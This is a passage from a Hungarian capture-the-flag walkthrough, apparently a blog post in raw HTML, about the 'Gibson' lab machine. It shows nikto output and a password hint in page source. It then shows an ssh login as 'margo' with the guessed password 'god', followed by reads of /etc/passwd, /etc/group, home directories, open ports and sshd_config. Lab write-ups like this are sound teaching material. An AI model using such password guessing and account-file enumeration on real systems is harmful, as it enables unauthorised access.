+ No CGI Directories found &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;use &lt;span class=&quot;s1&quot;&gt;&amp;#39;-C all&amp;#39;&lt;/span&gt; to force check all possible &lt;span class=&quot;nb&quot;&gt;dirs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
+ Apache/2.4.7 appears to be outdated &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;current is at least Apache/2.4.12&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;. Apache 2.0.65 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;final release&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; and 2.2.29 are also current.
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD 
+ OSVDB-3268: /./: Directory indexing found.
+ OSVDB-3268: /?mod&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;node&lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;nid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;some_thing&lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;view: Directory indexing found.
+ OSVDB-3268: /?mod&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;some_thing&lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;browse: Directory indexing found.
+ /./: Appending &lt;span class=&quot;s1&quot;&gt;&amp;#39;/./&amp;#39;&lt;/span&gt; to a directory allows indexing
+ OSVDB-3268: //: Directory indexing found.
...
...
+ &lt;span class=&quot;m&quot;&gt;7535&lt;/span&gt; requests: &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; error&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; and &lt;span class=&quot;m&quot;&gt;46&lt;/span&gt; item&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; reported on remote host
+ End Time:           2016-05-15 20:39:03 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GMT2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;10&lt;/span&gt; seconds&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
---------------------------------------------------------------------------
+ &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; host&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tested&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;Directory indexing&lt;/code&gt;-en kívül semmi érdekes, lássuk böngészőből.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/gibson_br1.png&quot; alt=&quot;gibson_br1&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Egyetlen html fájl, de azért átnézem a forrást is (CTRL+U).&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Index of /&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Index of /&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;table&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;tr&amp;gt;&amp;lt;th&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;valign=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;top&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/icons/blank.gif&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;alt=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;[ICO]&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;?C=N;O=D&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Name&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;?C=M;O=A&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Last modified&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;?C=S;O=A&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Size&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;?C=D;O=A&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Description&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;tr&amp;gt;&amp;lt;th&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;colspan=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;5&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;tr&amp;gt;&amp;lt;td&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;valign=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;top&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;img&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;/icons/text.gif&amp;quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;alt=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;[TXT]&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;davinci.html&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;davinci.html&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;align=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;right&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;2016-05-07 13:03  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/td&amp;gt;&amp;lt;td&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;align=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;right&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;273 &lt;span class=&quot;nt&quot;&gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;nbsp;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;tr&amp;gt;&amp;lt;th&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;colspan=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;quot;5&amp;quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;hr&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;address&amp;gt;&lt;/span&gt;Apache/2.4.7 (Ubuntu) Server at 192.168.10.222 Port 80&lt;span class=&quot;nt&quot;&gt;&amp;lt;/address&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ezt is vártam :) Lássuk a davinci.html tartalmát először böngészőből.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/gibson_br2.png&quot; alt=&quot;gibson_br2&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;… és most a forrást (CTRL+U)&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Gibson Mining Corporation&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Damn it Margo! Stop setting your password to &amp;quot;god&amp;quot; --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- at least try and use a different one of the 4 most --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- common ones! (eugene) --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;h1&amp;gt;&lt;/span&gt; The answer you seek will be found by brute force&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ez már érdekesebb, főleg a &lt;code&gt;Margo&lt;/code&gt; és a &lt;code&gt;god&lt;/code&gt; :)&lt;/p&gt;

&lt;h2 id=&quot;szerezd-meg-a-zszlt-1-varici&quot;&gt;Szerezd meg a zászlót! 1. variáció&lt;/h2&gt;

&lt;p&gt;Próbáljunk belépni ssh-n &lt;code&gt;margo&lt;/code&gt; felhasználóval és &lt;code&gt;god&lt;/code&gt; jelszóval…&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# ssh margo@192.168.10.222&lt;/span&gt;
The authenticity of host &lt;span class=&quot;s1&quot;&gt;&amp;#39;192.168.10.222 (192.168.10.222)&amp;#39;&lt;/span&gt; can&lt;span class=&quot;s1&quot;&gt;&amp;#39;t be established.&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;ECDSA key fingerprint is SHA256:HFJkCohFeemJfEtUbrfcJdTBrirs7dQbPWF5ienVNhU.&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Are you sure you want to continue connecting (yes/no)? yes&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Warning: Permanently added &amp;#39;&lt;/span&gt;192.168.10.222&lt;span class=&quot;s1&quot;&gt;&amp;#39; (ECDSA) to the list of known hosts.&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;Ubuntu 14.04.3 LTS&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;margo@192.168.10.222&amp;#39;&lt;/span&gt;s password: 
Welcome to Ubuntu 14.04.3 LTS &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GNU/Linux 3.19.0-25-generic x86_64&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun May &lt;span class=&quot;m&quot;&gt;15&lt;/span&gt; 19:29:13 BST 2016

  System load: 0.08              Memory usage: 5%   Processes:       93
  Usage of /:  82.2% of 1.85GB   Swap usage:   0%   Users logged in: &lt;span class=&quot;nv&quot;&gt;0&lt;/span&gt;

  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&amp;gt; There is &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; zombie process.

  Graph this data and manage this system at:
    https://landscape.canonical.com/

&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ id&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1002&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;margo&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1002&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;margo&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1002&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;margo&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,27&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sudo&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hát ez sikerült :)
Nézzük meg ki lakik még a rendszerben.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ cat /etc/passwd&lt;/span&gt;
root:x:0:0:root:/root:/bin/bash
...
libvirt-qemu:x:106:106:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false
libvirt-dnsmasq:x:107:111:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false
duke:x:1000:1000:Duke Ellingson,,,:/home/duke:/bin/bash
colord:x:108:115:colord colour management daemon,,,:/var/lib/colord:/bin/false
eugene:x:1001:1001:Eugene Belford:/home/eugene:
margo:x:1002:1002:Margo Wallace:/home/margo:/bin/bash&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Vagyis &lt;code&gt;margo&lt;/code&gt;-n kívül van egy &lt;code&gt;duke&lt;/code&gt; és egy &lt;code&gt;eugene&lt;/code&gt; felhasználó. Ami még érdekes, az a &lt;code&gt;libvirt-qemu&lt;/code&gt;. Szóval van &lt;code&gt;kvm-qemu&lt;/code&gt; alapú virtualizáció is.
Most lássuk a csoportokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ cat /etc/group&lt;/span&gt;
root:x:0:
...
sudo:x:27:margo,eugene
...
libvirtd:x:111:eugene
...
eugene:x:1001:eugene
margo:x:1002:
ssl-cert:x:116:&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Láthatjuk, hogy a &lt;code&gt;sudo&lt;/code&gt; csoportba csak &lt;code&gt;margo&lt;/code&gt; és &lt;code&gt;eugene&lt;/code&gt; tartozik, valamint &lt;code&gt;eugene&lt;/code&gt; a &lt;code&gt;libvirtd&lt;/code&gt;-be is.
Látogassuk meg a &lt;code&gt;home&lt;/code&gt; mappájukat és nézzünk körül.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ cd ..&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home$ ls -la&lt;/span&gt;
total 20
drwxr-xr-x  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; root   root   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 18:49 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;22&lt;/span&gt; root   root   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; 13:28 ..
drwxr-xr-x  &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; duke   duke   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; 12:17 duke
drwxr-xr-x  &lt;span class=&quot;m&quot;&gt;6&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:31 eugene
drwxr-xr-x  &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; margo  margo  &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;15&lt;/span&gt; 20:08 margo

&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home$ cd duke&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home/duke$ ls -la&lt;/span&gt;
total 44
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; 12:17 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; root root &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 18:49 ..
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; duke duke  &lt;span class=&quot;m&quot;&gt;220&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt; 17:51 .bash_logout
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;3637&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt; 17:51 .bashrc
drwx------ &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt; 16:56 .cache
drwx------ &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 20:03 .config
drwx------ &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 20:00 .dbus
drwx------ &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 20:01 .gconf
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; duke duke  &lt;span class=&quot;m&quot;&gt;675&lt;/span&gt; Apr &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt; 17:51 .profile
-rw------- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root root  &lt;span class=&quot;m&quot;&gt;708&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 19:53 .viminfo
drwxr-x--x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; duke duke &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;4&lt;/span&gt; 20:00 .virt-manager

&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home/duke$ cd ..&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home$ cd eugene/&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home/eugene$ ls -la&lt;/span&gt;
total 56
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;6&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:31 .
drwxr-xr-x &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; root   root   &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 18:49 ..
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; eugene eugene  &lt;span class=&quot;m&quot;&gt;220&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .bash_logout
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;3637&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .bashrc
drwx------ &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 19:10 .cache
drwx------ &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 20:12 .dbus
drwx------ &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:22 .gconf
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; eugene eugene  &lt;span class=&quot;m&quot;&gt;675&lt;/span&gt; Apr  &lt;span class=&quot;m&quot;&gt;9&lt;/span&gt;  &lt;span class=&quot;m&quot;&gt;2014&lt;/span&gt; .profile
-rwxrwxr-x &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;8589&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 19:10 spin64
-rw------- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; root   root   &lt;span class=&quot;m&quot;&gt;4737&lt;/span&gt; May &lt;span class=&quot;m&quot;&gt;14&lt;/span&gt; 14:24 .viminfo
drwxr-x--x &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; eugene eugene &lt;span class=&quot;m&quot;&gt;4096&lt;/span&gt; May  &lt;span class=&quot;m&quot;&gt;5&lt;/span&gt; 20:12 .virt-manager&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;eugene&lt;/code&gt; mappájában találtam egy &lt;code&gt;spin64&lt;/code&gt; futtatható binárist. Talán még majd foglalkozok vele.&lt;/p&gt;

&lt;p&gt;Nézzünk rá a hálózatra, ellenőrizzük a nyitott portokat, hátha valami elkerülte az &lt;code&gt;nmap&lt;/code&gt; figyelmét.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:/home/eugene$ netstat -tulpn&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Active Internet connections &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;only servers&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 192.168.122.1:53        0.0.0.0:*               LISTEN      -               
tcp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 127.0.0.1:6010          0.0.0.0:*               LISTEN      -               
tcp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 127.0.0.1:5900          0.0.0.0:*               LISTEN      -               
tcp6       &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; :::22                   :::*                    LISTEN      -               
tcp6       &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; ::1:6010                :::*                    LISTEN      -               
tcp6       &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; :::80                   :::*                    LISTEN      -               
udp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 192.168.122.1:53        0.0.0.0:*                           -               
udp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 0.0.0.0:67              0.0.0.0:*                           -               
udp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 0.0.0.0:68              0.0.0.0:*                           -               
udp        &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; 0.0.0.0:24299           0.0.0.0:*                           -               
udp6       &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;      &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; :::52976                :::*                                -&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Érdekes a &lt;code&gt;5900&lt;/code&gt;-as port ami egy VNC és ezt nem láthatta az &lt;code&gt;nmap&lt;/code&gt; mert csak localhost-on figyel.
Fussuk át az &lt;code&gt;ssh&lt;/code&gt; beállításokat, csak a rend kedvéért.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;#margo@gibson:~$ cat /etc/ssh/sshd_config | egrep -v ^$ | egrep -v ^#.*&lt;/span&gt;
Port 22
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
UsePrivilegeSeparation yes
KeyRegenerationInterval 3600
ServerKeyBits 1024
SyslogFacility AUTH
LogLevel INFO
LoginGraceTime 120
StrictModes yes
RSAAuthentication yes
PubkeyAuthentication yes
IgnoreRhosts yes
RhostsRSAAuthentication no
HostbasedAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
PasswordAuthentication no
X11Forwarding yes
X11DisplayOffset 10
PrintMotd yes
PrintLastLog yes
TCPKeepAlive yes
Banner /etc/issue.net
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
UsePAM yes
PermitRootLogin no
AllowUsers eugene margo
Match user margo
